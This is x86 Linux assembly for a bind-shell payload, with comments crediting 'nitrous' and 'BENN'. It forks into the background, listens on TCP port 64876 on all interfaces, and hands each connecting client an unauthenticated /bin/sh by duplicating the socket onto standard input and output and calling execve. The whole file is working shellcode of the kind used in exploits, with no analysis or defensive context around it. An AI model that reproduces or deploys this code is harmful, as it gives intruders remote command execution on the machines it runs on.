.globl	_start
_start:
	#fork functionality by nitrous
	xorl	%eax, %eax
	add	$0x2, %eax
	int	$0x80
	test	%eax, %eax
	jne	exit

	##### PORTBIND BY BENN #####
	# s = socket(2, 1, 0)
	push   $0x66
	pop    %eax	# 0x66 = socketcall
	push   $0x1
	pop    %ebx	# socket() = 1
	xor    %ecx,%ecx
	push   %ecx	# 0
	push   $0x1	# SOCK_STREAM = 1
	push   $0x2	# AF_INET = 2
	mov    %esp,%ecx# Arguments
	int    $0x80	# EXECUTE - Now %eax have the s fileDescriptor

	# bind(s [2, 64876, 0], 0x10)
	xor    %edx,%edx
	push   %edx	# INADDR_ANY = 0
	pushw  $0x6cfd	# PORT = 64876
	pushw  $0x2	# AF_INET = 2
	mov    %esp,%ecx# %ecx holds server struct
	push   $0x10	# sizeof(server) = 0x10
	push   %ecx	# server struct
	push   %eax	# s fileDescriptor
	mov    %esp,%ecx
	mov    %eax,%esi# now %esi holds s fileDescriptor
	push   $0x2
	pop    %ebx	# bind() = 2
	push   $0x66
	pop    %eax	# 0x66 = socketcall
	int    $0x80	# On success: %eax = 0

	# listen(s, 0)
	push   $0x66
	pop    %eax	# 0x66 = socketcall
	push   $0x4
	pop    %ebx	# listen() = 4
	int    $0x80	# On success: %eax = 0

	# c = accept(s, 0, 0)
	xor    %ecx,%ecx
	push   %ecx
	push   %ecx
	push   %esi	# %esi = s
	mov    %esp,%ecx# Arguments
	push   $0x5
	pop    %ebx	# accept() = 5
	push   $0x66
	pop    %eax	# 0x66 = socketcall
	int    $0x80	# EXECUTE - Now %eax have c fileDescriptor

	# dup2(c, 2) , dup2(c, 1) , dup2(c, 0)
	xchg   %eax,%ebx# Put c fileDescriptor on %ebx [for dup2()]
	push   $0x2
	pop    %ecx

dup_loop:
	mov    $0x3f,%al# dup2() = 0x3f
	int    $0x80
	dec    %ecx
	jns    dup_loop

	# execve("/bin//sh", ["/bin//sh",NULL])
	mov    $0xb,%al	# execve = 0xb
	push   %edx
	push   $0x68732f2f
	push   $0x6e69622f
	mov    %esp,%ebx
	push   %edx
	push   %ebx
	mov    %esp, %ecx
	int    $0x80
	##### PORTBIND BY BENN #####

exit:
	xorl	%eax, %eax
	incb	%al
	int	$0x80
